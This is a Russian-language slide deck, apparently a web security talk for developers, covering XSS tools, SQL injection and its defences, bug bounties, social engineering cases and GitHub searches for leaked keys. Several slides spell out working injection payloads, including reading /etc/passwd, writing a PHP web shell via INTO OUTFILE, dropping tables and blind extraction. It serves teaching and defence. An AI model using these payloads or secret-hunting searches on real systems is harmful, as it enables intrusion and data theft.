  • 32. Cross-Site Scripting Аудит OWASP ZAP [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project] прокси с последующим анализом логов. OWASP XSSer [https://www.owasp.org/index.php/OWASP_XSSER] очень умный, гибко настраивается, многое умеет. w3af [http://w3af.org/plugins/audit/xss]
  • 33. SQL Injection Exploitability EASY Prevalence COMMON Detectability AVERAGE Impact SEVERE
  • 34. SQL Injection (WASC-19) Атака на ПО, использующее входные данные для построения SQL-запросов, при которой атакующий изменяет логику выполнения SQL-запроса к БД. В некоторых случаях атака способна привести к выполнению команд ОС и захвату системы.
  • 35. SQL Injection Простейший пример $q = "SELECT * FROM table WHERE id={$_GET['id']}"; query($q); GET http://site.com/query.php?id=1 OR 1=1 // SELECT * FROM table WHERE id=1 OR 1=1 // Хуже только query($_GET['q'])
  • 36. SQL Injection Простейший пример $q = "SELECT * FROM table WHERE id={$_GET['id']}"; query($q); GET http://site.com/query.php?id=1 OR 1=1 // SELECT * FROM table WHERE id=1 OR 1=1 // Хуже только query($_GET['q'])
  • 37. SQL Injection Схема атаки ● поиск точки, использующей пользовательские данные в SQL-запросе ● выполнение фингерпринтинга СУБД ● поиск уязвимости, позволяющей выполнить атаку ● эксплуатация уязвимости
  • 38. SQL Injection Фингерпринтинг СУБД ● сообщения об ошибках на страницах ● баннер (version(), @@version) - SELECT version() --> 5.6.12-56 ● диалект SQL - MySQL: WHERE id = 1 /*!50067 AND 47=47 */ - PostgreSQL: AND 82::int=82 ● поведение некоторых функций ● вакансии или собеседование :)
  • 39. SQL Injection Эксплуатация Типы ● обычная инъекция — по выводимым ошибкам ● инъекция вслепую (Blind Injection) — вывод ошибок отключен Техники ● UNION ● batched запросы ● boolean-based blind ● time-based blind
  • 40. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 and 1=1 -- OK query.php?id=1 and 1=2 -- error
  • 41. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 order by 1 -- OK query.php?id=1 order by 2 -- OK query.php?id=1 order by 3 -- OK query.php?id=1 order by 4 -- error!
  • 42. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 Name: Maksim [ksimka] Age: 28 query.php?id=-1 union all select 1, 2, 3 Name: 1 [2] Age: 3
  • 43. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=1 Name: Maksim [ksimka] Age: 28 query.php?id=-1 union all select 1, 2, 3 Name: 1 [2] Age: 3
  • 44. SQL Injection Примеры: UNION (full flaw) SELECT a, b, c FROM table WHERE id={$id} query.php?id=-1 union all select version(), user(), database() Name: 5.0.0-42 [root@localhost] Age: Main
  • 45. SQL Injection Примеры: UNION (full flaw) SELECT a FROM table WHERE id={$id} query.php?id=-1 union all select concat(version(),char(58),user(),char(58),database()) Name: 5.0.0-42:root@localhost:Main
  • 46. SQL Injection Примеры: UNION (full flaw) SELECT a FROM table WHERE id={$id} query.php?id=-1 union all select load_file('/etc/passwd') query.php?id=-1 union all select '<?php system($_GET["cmd"]); ?>' into outfile '/www/cmd.php'
  • 47. SQL Injection Примеры: batched queries SELECT a FROM table WHERE id={$id} query.php?id=1;drop table ... query.php?id=1;drop user ... query.php?id=1;create user ... query.php?id=1;grant all privileges on ... query.php?id=1;select ... into outfile ...
  • 48. SQL Injection Примеры: boolean-based blind SELECT a FROM table WHERE id={$id} query.php?id=1 and ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A D — номер БД в таблице schemata N — номер очередного символа A — ASCII-код символа select schema_name from information_schema.schemata — имя БД mid(dbname, N, 1) — один символ имени ord(char) — ASCII-код, удобнее сравнивать
  • 49. SQL Injection Примеры: time-based blind (double blind) SELECT a FROM table WHERE id={$id} query.php?id=1 or if(ord(mid((select schema_name from information_schema.schemata limit 1 offset D), N, 1)) > A, sleep(S), true) S — в зависимости от нормального времени отклика сайта Основа — как в boolean-based blind if (bingo, sleep(S), true) — если bingo, то +S секунд к отклику
  • 50. SQL Injection Защита и превентивные меры ● связывание параметров (prepared statements, биндинг, параметризованные запросы) с экранированием значений - SELECT * FROM table WHERE columna=? AND columnb=? ● файрволлы (детекция попыток фингерпринтинга и эксплуатаций) — NAXSI, ModSecurity ● разграничение прав доступа - user: SELECT, INSERT, UPDATE, … - superuser: CREATE, DROP, ALTER, … ● валидация и фильтрация всего :)
  • 51. SQL Injection Аудит sqlmap [http://sqlmap.org/] — умеет всё. MySQL, Oracle, PostgreSQL, Microsoft SQL Server, … Знает массу техник исследования и эксплуатации. Да, умеет полноценно эксплуатировать вплоть до сливания полного дампа БД. Вряд ли вам понадобится другой инструмент.
  • 52. Зачем нам всё это знать? Чтобы понимать: одна маленькая ошибка может стоить бесконечно дорого. Чтобы понимать, откуда ВНЕЗАПНО может прийти беда. Чтобы уметь разрабатывать инструменты противодействия. Чтобы уметь пользоваться инструментами и писать безопасный код. Ну и просто потому что это круто :)
  • 53. P.S.
  • 54. Bug bounty программы Когда у тебя огромная кодовая база, изменяющаяся с дикой скоростью, невозможно уследить за всем. Bug bounty программа хорошо конвертирует blackhats в whitehats. Список таких программ https://bugcrowd.com/list-of-bug-bounty-programs/ Вознаграждения — от маечки до $20000 и больше (например, у Facebook нет верхней границы)
  • 55. Wamba Bug Bounty http://corp.wamba.com/ru/developer/security/ Вознаграждения ● критичные сервисы — от 5 000 до 100 000 руб. ● прочие сервисы — от 3 000 до 25 000 руб. ● зал славы
  • 58. Атаки на браузеры http://html5sec.org/ Теперь не только <script> и <img onerror/> Сотни способов выполнить js-код на клиенте, используя баги или особенности работы с HTML в некоторых браузерах.
  • 59. Атаки на браузеры cookie-bomb (by @homakov) http://homakov.blogspot.ru/2014/01/cookie-bomb-or-lets-break-internet.html RFC2109: A Set-Cookie from request-host x.foo.com for Domain=.foo.com would be accepted. Если я могу выполнять код на x.foo.com, я могу ставить куки на .foo.com. 1 кука = 4кБ, а мы можем поставить сотни кук. 400кБ+ заголовков — веб-сервер просто не отвечает. Итого: DoS сервиса (не всего, для юзера) куками
  • 61. Социальная инженерия Chunkhost и Sendgrid (март 2014) https://chunkhost.com/blog/15/huge_security_hole_in_sendgrid Как в старые добрые времена ● хакер покупает домен chunkhost.info ● звонит в поддержку sendgrid и просит сменить мыло support@chunkhost.com ● на support@chunkhost.info, поддержка говорит ОК (wtf?) ● хакер включает в sendgrid фичу BCC, инициирует сброс паролей пары акков на chunkhost, получает копию писем со ссылкой для сброса ● аккаунты и слив репутации chunkhost спасает только двухфакторная аутентификация на этих акках
  • 62. Социальная инженерия CSS-Tricks и Media Temple (март 2014) http://shoptalkshow.com/episodes/special-one-one-hacker/ Как в еще более старые добрые времена ● хакер звонит в поддержку MT и просит поменять email от акка Криса, потому что, якобы, не помнит его ● поддержка говорит «ок, только пришлите скан своих документов» ● хакер подделывает документы и получает акк (sic!) ● кроме этого захватывает пачку других сайтов ● чувак говорит, что мог бы захватить jquery.com (тоже хостится на MT) и заразить исходники, которые используются на тысячах сайтов ● еще чувак говорит, что ничего не понимает в этих ваших sql- инъекциях и прочей ерунде, но ему это и не нужно :)
  • 63. Github, пароли в репозиториях DB config (PHP) https://github.com/search?q=define%28%22DB_PASSWORD%22&ref=searchresults&type=Code ≈60000 AWS private key https://github.com/search?q=AKIAJ&type=Code&ref=searchresults ≈1000 RSA private key https://github.com/search?o=desc&q=%22RSA+PRIVATE+KEY--- %22&ref=searchresults&s=indexed&type=Code ≈44000
  • 66. Потренироваться http://testphp.vulnweb.com (Acunetix) http://testasp.vulnweb.com (Acunetix) http://testaspnet.vulnweb.com (Acunetix) http://testhtml5.vulnweb.com/ (Acunetix) http://demo.testfire.net (IBM) http://zero.webappsecurity.com (HP) http://crackme.cenzic.com (Cenzic) http://www.webscantest.com (NTO) http://www.dvwa.co.uk/ (RandomStorm, offline) https://code.google.com/p/webgoat/ (OWASP, offline)